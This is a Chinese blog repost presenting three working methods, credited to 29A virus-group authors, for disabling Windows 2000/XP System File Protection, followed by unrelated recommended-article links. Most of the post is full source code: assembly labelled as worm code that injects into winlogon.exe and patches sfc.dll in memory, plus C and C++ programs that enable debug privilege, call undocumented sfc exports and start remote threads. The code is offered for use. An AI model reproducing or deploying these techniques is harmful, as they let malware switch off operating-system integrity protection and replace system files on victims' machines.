因为不是全文转发,所以中间有些删节,修改和添加了一些内容
SFP (The System File Protection)
Is it boring ? How to get rid of it ?
Here are 3 ways,Enjoy~~
1 For win2k only
by Benny/29A and Ratter/29A
main idea:
1) Adjust higher priviledgez to our process, by legit API way.
2) Find Winlogon.exe in memory.
3) Alocate memory there, copy there a small "path" code and run it there.
4) Quit.
In the winlogon.exe will be created new thread which will:
1) Find the code written above.
2) Patch the code by ExitThread(0) call. If the page is protected,
unprotect it then.
3) Quit.
demo to compile:
tasm32 /ml /m9 /q sfp
tlink32 -Tpe -c -x -aa sfp,,,import32,sfp
pewrsec sfp.exe
[code start here]
.386p
.model flat
include win32api.inc
include useful.inc
include mz.inc
include pe.inc
@pushvar macro variable, empty ;macro for pushing
local next_instr ;variablez of any type
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
call next_instr
variable
next_instr:
endm
invoke macro api ;macro for API callz
extrn api:PROC ;declare API
call api ;call it...
endm
@SEH_SetupFrame_UnProtect macro
local set_new_eh
local exception_handler
call set_new_eh
pushad
mov ebx,dword ptr [esp+cPushad+EH_ExceptionRecord]
cmp dword ptr [ebx.ER_ExceptionCode],EXCEPTION_ACCESS_VIOLATION
jne exception_handler
@pushvar <dd ?>
mov ebx,[ebx.ER_ExceptionInformation+4]
push PAGE_READWRITE
and ebx,0FFFFF000h
push 2*4096
push ebx
mov eax,12345678h
virtual_protect_api = dword ptr $-4
call eax ;unprotect 2 pagez
exception_handler:
popad
xor eax,eax
ret
set_new_eh: ;set SEH frame
xor edx,edx
push dword ptr fs:[edx]
mov fs:[edx],esp
endm
.data ;some variablez
token_priv dd 1
p_luid dq ?
dd 2
procz dd 80h dup (?)
dd ?
modz dd ?
mod_name db MAX_PATH dup (?)
p_token dd ?
tmp dd ?
.code ;worm code starts
Start: pushad
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
extrn GetModuleHandleA:PROC
mov eax,dword ptr [GetModuleHandleA+2]
mov eax,[eax]
mov [gmha],eax ;store address of API
extrn VirtualProtect:PROC
mov eax,dword ptr [VirtualProtect+2]
mov eax,[eax]
mov [virtual_protect_api],eax ;--- "" ---
extrn ExitThread:PROC
mov eax,dword ptr [ExitThread+2]
mov eax,[eax]
mov [exitthread_api],eax ;--- "" ---
invoke GetCurrentProcess
push offset p_token
push 20h
push eax
invoke OpenProcessToken ;open token of our process
dec eax
jne err_ap
push offset p_luid
@pushsz 'SeDebugPrivilege'
push eax
invoke LookupPrivilegeValueA ;find LUID for this priv.
dec eax
jne err_ap
push eax
push eax
push 10h
push offset token_priv
push eax
push [p_token]
invoke AdjustTokenPrivileges ;adjust higher priviledges
;for our process
mov esi,offset procz
push offset tmp
push 80h
push esi
invoke EnumProcesses ;enumerate all running processes
dec eax
jne end_seh
add esi,4
p_search:
lodsd ;get PID
test eax,eax
je end_seh
call analyse_process
jc p_search
end_seh:@SEH_RemoveFrame ;remove SEH frame
popad
push 0
invoke ExitProcess ;and quit
analyse_process Proc
pushad
push eax
push 0
push 43Ah
invoke OpenProcess ;PID -> handle
test eax,eax
je err_ap
mov [hProcess],eax
push eax
push eax
mov esi,offset modz
push offset tmp
push 4
push esi
push eax
invoke EnumProcessModules ;get first (main) module
pop ecx
dec eax
jne err_ap1
lodsd
mov edi,offset mod_name
push MAX_PATH
push edi
push eax
push ecx
invoke GetModuleBaseNameA ;get its name
xchg eax,ecx
jecxz err_ap1
@pushsz 'winlogon.exe'
pop esi
rep cmpsb
jne err_ap1 ;quit if its not winlogon
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push end_rroutine-start_rroutine
push 0
push 12345678h
hProcess = dword ptr $-4
invoke VirtualAllocEx ;aloc there a memory
test eax,eax
je err_ap1
xchg eax,ebx
push 0
push end_rroutine-start_rroutine
push offset start_rroutine
push ebx
push [hProcess]
invoke WriteProcessMemory ;write there our code
dec eax
jne free_mem
xor edx,edx
push edx
push edx
push edx
push ebx
push edx
push edx
push [hProcess]
invoke CreateRemoteThread ;run it
push eax
invoke CloseHandle
invoke CloseHandle
popad
clc
ret
err_ap1:invoke CloseHandle
err_ap: popad
stc
ret
free_mem:
push MEM_RELEASE
push 0
push ebx
push [hProcess]
invoke VirtualFreeEx ;free memory
jmp err_ap1
analyse_process EndP
start_rroutine Proc
pushad
@SEH_SetupFrame_UnProtect ;set SEH frame
@pushsz 'sfc.dll'
mov eax,12345678h
gmha = dword ptr $-4
call eax ;get sfc.dll address
test eax,eax
je end_rseh
xchg eax,esi
mov eax,[esi.MZ_lfanew]
add eax,esi
movzx edx,word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edx,[edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)]
mov ecx,[edx.SH_SizeOfRawData] ;get size of section
call @s_str
@b_str: db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h ;code to search & patch
@s_str: pop edi
s_str: pushad
push @s_str-@b_str
pop ecx
rep cmpsb ;search for code
popad
je got_addr
inc esi
loop s_str
jmp end_rseh
got_addr:
call e_next
s_next: push 0 ;"patch" code
mov eax, 12345678h
exitthread_api = dword ptr $-4
call eax
e_next: pop edi
xchg esi,edi
add edi,15
mov ecx,e_next-s_next
rep movsb ;patch sfc.dll code by our code
end_rseh:
@SEH_RemoveFrame
popad
ret ;and quit
end_rroutine:
start_rroutine EndP
ends
End Start
2 For WinXP (maybe 2k3 ?)
//this is also a wonderful stuff from Ratter/29A
//but this time ,this one only works on xp(maybe 2k3 ?)
//it can disable SFP on file basis for one minute
//sounds coool ? enjoy ~~
#include <windows.h>
#include <assert.h>
#include <stdio.h>
typedef DWORD (* SFPEXC)(DWORD, wchar_t *, DWORD);
void wmain(int argc, wchar_t **argv)
{
HMODULE sfc_os;
SFPEXC sfp_exc;
assert(argc==2);
assert(sfc_os=LoadLibrary("sfc_os.dll"));
assert(sfp_exc=(SFPEXC) GetProcAddress(sfc_os, (char *) 5));
assert(!sfp_exc(0, argv[1], -1));
wprintf(L"File %s should now be unprotected for 1 minute", argv[1]);
}
3 Both win2k & XP (maybe 2k3?)
/*****************************************************************/
// 文件名: SfcDisable.cpp
// 作者: by Ratter/29A
// 创建时间: unknown
// 版本: unknown
/*****************************************************************/
/*****************************************************************/
//Usage: sfc_disable <winlogon_pid>
//This is a demo from Ratter/29A to show disable the SFC on winlogon.exe
//of course we can modify it to any other process.
// The details is described in 29A7.004 <<SFP revisited>>
//
/****************************************************************/
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#pragma check_stack (off)
DWORD thread_func (FARPROC sfc_terminate)
{
sfc_terminate();
return 0;
}
void after_thread_func(void)
{
}
#pragma check_stack
int adjust_privileges(void)
{
HANDLE token_handle;
int ret=0;
if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token_handle))
{
LUID luid;
if(LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid))
{
TOKEN_PRIVILEGES tk_priv;
tk_priv.PrivilegeCount=1;
tk_priv.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
tk_priv.Privileges[0].Luid=luid;
if(AdjustTokenPrivileges(token_handle,
FALSE,
&tk_priv,
0,
NULL,
NULL)) ret=1;
}
CloseHandle(token_handle);
}
return ret;
}
void main(int argc, char **argv)
{
HANDLE remote_thread;
if(argc!=2)
{
printf("Usage: sfc_disable <winlogon_pid>/n");
exit(0);
}
DWORD wpid=atoi(argv[1]);
assert(wpid);
HMODULE sfc=LoadLibrary("sfc.dll");
assert(sfc);
FARPROC sfc_terminate=GetProcAddress(sfc, (char *) 2);
assert(sfc_terminate);
assert(adjust_privileges());
HANDLE process=OpenProcess(PROCESS_ALL_ACCESS, FALSE, wpid);
if(!process)
{
printf("Error while opening process/n");
exit(0);
}
LPVOID remote_mem=VirtualAllocEx(process,
NULL,
(SIZE_T) ((char *)after_thread_func-(char *)thread_func),
MEM_COMMIT,
PAGE_READWRITE);
if(!remote_mem)
{
printf("Error while commiting memory in the remote process/n");
goto clean_up;
}
if(!WriteProcessMemory(process,
remote_mem,
(char *) thread_func,
(SIZE_T) ((char *)after_thread_func-(char *)thread_func),
(SIZE_T *) 0))
{
printf("Error %d while writing to the remote process/n", GetLastError());
goto clean_up;
}
remote_thread=CreateRemoteThread(process,
NULL,
0,
(LPTHREAD_START_ROUTINE) remote_mem,
// (LPTHREAD_START_ROUTINE) sfc_terminate
(LPVOID) sfc_terminate,
0,
NULL);
if(!remote_thread)
{
printf("Error while creating remote thread in the process/n");
goto clean_up;
}
if(WaitForSingleObject(remote_thread, 10*1000)==WAIT_TIMEOUT)
printf("Timeout occured while waiting for the remote thread/n");
CloseHandle(remote_thread);
clean_up:
if(remote_mem) VirtualFreeEx(process, remote_mem, 0, MEM_RELEASE);
CloseHandle(process);
}
相关推荐
从FSI到三层堆叠:一文搞懂车载CIS图像传感器技术演进与选型避坑
本文深入解析车载CIS图像传感器从FSI到三层堆叠的技术演进,揭示不同结构在低光性能、HDR表现和温度稳定性上的关键差异。通过实测数据对比,指导智能驾驶系统选型策略,帮助开发者规避成本与性能的常见陷阱,提升车载摄像头在复杂环境下的成像质量。
android stutdio aar和jniLibs存在相同so库引起奇怪报错
android stutdio aar和jniLibs存在相同so库引起奇怪报错
用Typora画流程图和序列图:Mermaid语法实战教程(含常见报错解决)
本文是一份详细的Typora与Mermaid语法实战教程,教你如何在Markdown文档中高效绘制流程图和序列图。文章涵盖从环境配置、核心语法到复杂图表构建的全过程,并重点解析了常见报错原因与解决方案,助你将可视化图表无缝融入文档工作流。
Android错误整理(保持更新)
问题1 Android Studio 三个错误,归结为一个错误 弹出窗口,错误如下 Application Installation Failed…INSTALL_FAILED_INVALID_APK… WARNING: Uninstalling will remove the applation data: Do you want to uninstall the existing ap...
【微信小程序开发与设计】垃圾智能分类小程序
垃圾分类是将来生活可持续发展的必需项。但是很多人由于缺乏垃圾分类知识,或是因为垃圾分类困难,费时费力,所以没有好好贯彻垃圾分类政策,此时设计一款方便于群众进行智能化垃圾识别分类的微信小程序就显得尤为必要。
ArcGIS标注(二分式、三分式、条件分类标注、上下标、牵引线、文字格式化…)
ArcGIS中的各种标注方法、可能遇到的问题和细节。
认识SFP/SFP+/QSFP/QSFP+光模块
概述 SFP( small form-factor pluggable)称为小封装热拔插光模块,应用于电信行业和光通信,SFP/SFP+/QSFP最关键的区别在于速率上的区别,这是因为使用的协议不同,SFP是基于IEEE802.3和SFF-8472,传输速率能够达到4.25 Gbps,SFP+规范是基于SFF-8431最高传输速率可以达到16Gbps,相较SFP和SFP+的1路收发通路,QSFP和QSFP+增加到了4路,也就是数据速率提高4倍,如下所示光模块协议发展到不同过程中一些版本的速率和接口类型。
学 Simulink—— 基于强化学习(DDPG)的电机无位置传感器控制仿真
Actor:输入状态s,输出θ̂_dot(即 ω̂),积分得 θ̂Critic:评估"估计角度与反电动势模型一致性"的 Q 值奖励函数不依赖真实 θ(无监督式自监督),只用iαβ预测残差。
SFP介绍
8.5.5.1SFP介绍(摘自互联网)1.基本概念:SFP是SMALL FORM PLUGGABLE(小型可插拔)的缩写,可以简单的理解为GBIC的升级版本。SFP模块体积比GBIC模...
【Python机器学习】零基础掌握RFECV特征选择
通过应用算法,有效地识别了影响购买意愿的关键特征(浏览时长和点击数)和历史货币流通的主要因素(年代、人口和货币流通量)。这样的特征选择不仅提高了模型的解释能力,还可能用于电商推荐系统和历史研究的优化。优点总结,这种方法可以高效地找出对目标变量有最大影响的特征,进而可以用于各种实际应用场景,如电商推荐和历史研究。优点名称对应描述说明高解释性易于理解哪些特征最为重要泛化性能强通过交叉验证提高模型的稳健性应用场景多样可用于电商、金融、历史研究等多个领域。
华为OD技术面真题 - Python开发 - 2
汇总华为OD技术面八股Python八股,高频技术真题并提供详细解答。
[折腾] 上海移动GPON宽带换中兴F7005MV3(XGPON)改桥接
本文纯属瞎折腾完的一个记录,不建议小白玩家尝试。事情的起因还得从半年前办宽带的时候说起,我说要改桥接,那个宽带小哥直接拒绝我,不过后来这个小哥还蛮好的,他可能也发现了我心意已决,就把所有信息都发给我了,让我自己折腾,然后我就先搞了个猫棒,用猫棒改桥接。这个我回头再开一贴记录下吧,过程也有点艰辛。但是呢,猫棒有个问题,就是必须带着有SFP接口的交换机,而且vlan和端口隔离这块我还没搞明白,就导致交换机基本处于残废状态。最近发现这个中兴F7xx5系列小咸鱼上已经掉到30来块钱了,直接下单一个回来玩玩。
大模型——Dify:知识库与外部知识库
摘要 Dify的知识库功能为开发者提供了动态知识管理解决方案,超越了大模型静态预训练数据的限制。知识库支持多种文档格式(如txt、pdf、docx等),通过文档分段、索引设置和检索优化机制提升LLM的响应准确性。系统提供高质量和经济两种索引模式,前者采用向量化检索技术,后者使用关键词匹配以降低成本。知识库支持元数据管理,包括自动生成的内置元数据和用户自定义元数据,便于内容分类和检索。对于高级需求,Dify还支持连接外部知识库,通过API实现跨平台数据共享和检索优化,满足企业级知识管理需求。
Winscp无法连接SFTP服务器
Winscp无法连接SFTP服务器 适用于windows下SFTP服务器 适用于winscp连接显示拒绝lianjie 适用于sftp admih@127.0.0.1 登陆显示Permission denied, please try again 解决方案: 1、通过登陆管理服务器检查用户状态(未禁用),表示正常 2、检查sftp服务器配置(windows下搭建sftp比较简单这里不在赘述,博主采用的是FreeSSHd进行搭建) 3、重启服务器 卸载FreeSSHd 都无法解决 4、!!!重点!.
蓝牙模块HM-10手册
蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。
LinePhone3.2.7(android端最新版本) sip客户端
SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/
NAS使用的一些常见命令 ssh sftp 上传 下载 配置qBittorrent | ALL in one
如果要保留当前的文件信息,如(修改时间、访问时间等),在加上-p标志。将sftp服务器上文件夹下载到本地当前目录下。将sftp服务器上文件下载到本地当前目录下。将本机上文件夹上传到远程服务器上当前目录下。将本机上文件上传到远程服务器上当前目录下。等,本机操作,前缀为l。
STM32F407中文手册
STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。
ssh 命令连接
Linux ssh命令详解 SSH(远程连接工具)连接原理:ssh服务是一个守护进程(demon),系统后台监听客户端的连接,ssh服务端的进程名为sshd,负责实时监听客户端的请求(IP 22端口),包括公共秘钥等交换等信息。 ssh服务端由2部分组成: openssh(提供ssh服务) openssl(提供加密的程序) ssh的客户端可以用 XSHELL,Securecrt, Moba...
C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片
基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正
亚瑟AX1800PRO(IPQ60xx):2、解锁SSH为所欲为(R2181)
路由器(OWRT&QWRT)
转录及总结 -Linux远程登录ssh命令
本文内容参考了网络:https://www.cnblogs.com/ftl1012/p/ssh.html 感谢原作者分享。 Linux系统可以通过远程进行登录,方法为通过命令行执行ssh命令。登录后,在命令行看到的信息以及能够执行的操作如同在本地命令行一样。同时还可以通过命令行的scp命令执行远程服务器内部及远程服务器至本地客户端之间的文件复制。简单操作命令如下: ssh远程登录 ssh serv...
Linux基础学习笔记
文章目录Linux简介(Wiki)国内镜像下载站SSH配置看网上资源不多说利用Xshell连接KaliLinux目录介绍结构图 Linux简介(Wiki) 国内镜像下载站 国内镜像下载站 https://opsx.alibaba.com/mirror http://mirrors.ustc.edu.cn/ https://mirrors.tuna.tsinghua.edu.cn/ SSH配置看网上资源不多说 百度kali ssh即可 利用Xshell连接Kali 配置好后输入账户密码即可,好处是更方便
你还在用 Xshell?试试这款免费跨平台的 SSH 终端工具吧!太强大了
点关注公众号,回复“1024”获取2TB学习资源!概述NxShell,一款跨平台的SSH免费终端软件,Linux远程连接工具,免费SSH客户端、主机服务器远程管理客户端。支持SSH/Sftp协议,支持会话管理器,多选项卡管理主机导入和导出功能,支持ssh隧道socksv5,当前开启后默认监听在localhost:10080;支持ssh rz/sz命令文件上传下载,轻松管理远程服务器文件。特征所有源...
/usr/lib/libreadline.so.5: undefined symbol: PC 导致suse 无法启动
今天差点得到血的教训,特
phpstorm远程连接服务器并实时更新发布代码(thinkphp6.0.7)
想要phpstrom 远程连接上服务器 Step1 打开phpstorm Tools->Deployment->Configuration Step2 开始配置连接参数,我的是阿里云的服务器, 有一个 Test Sftp connection 测试连接的可以先测试下 选择yes 接下来 Step3 : Text-to-HTML conversion tool 后面继续连接到你的服务器,并next到最后即可 ...
比 Xshell 还好用的 SSH 客户端神器,MobaXterm 太爱了!
今日推荐推荐一个 Java 接口快速开发框架 干掉Random:这个类已经成为获取随机数的王者 Docker + Intellij IDEA,提升 10 倍生产力! 笑出腹肌的注释,...
IDEA配置Tomcat远程部署,解决失败方案
总结一下在配置idea部署项目到远程服务器时遇到的一些问题,希望各位同学能少走弯路 本文主要是解决出现的问题,具体配置连接可以参考其他博客 环境:ubuntu16 tomcat8 1、Error: Exception thrown by the agent : java.net.MalformedURLException: Local host name unknown: ja...
Windows和Linux文件系统级别挂载
十年前,业界流行用samba/ftp/nfs互访windows/linux 今天,可以通过ssh挂载任何Linux目录,变成windows下一个native驱动器(驱动级加载,真正native,不是模拟出来的,其他方式的局限性下文解释) 要实现挂载,windows上运行一个程序即可(源码/编译好的程序见文末),而Linux上没有任何要求( 因为ssh是Linux标配)
110




被折叠的 条评论
为什么被折叠?



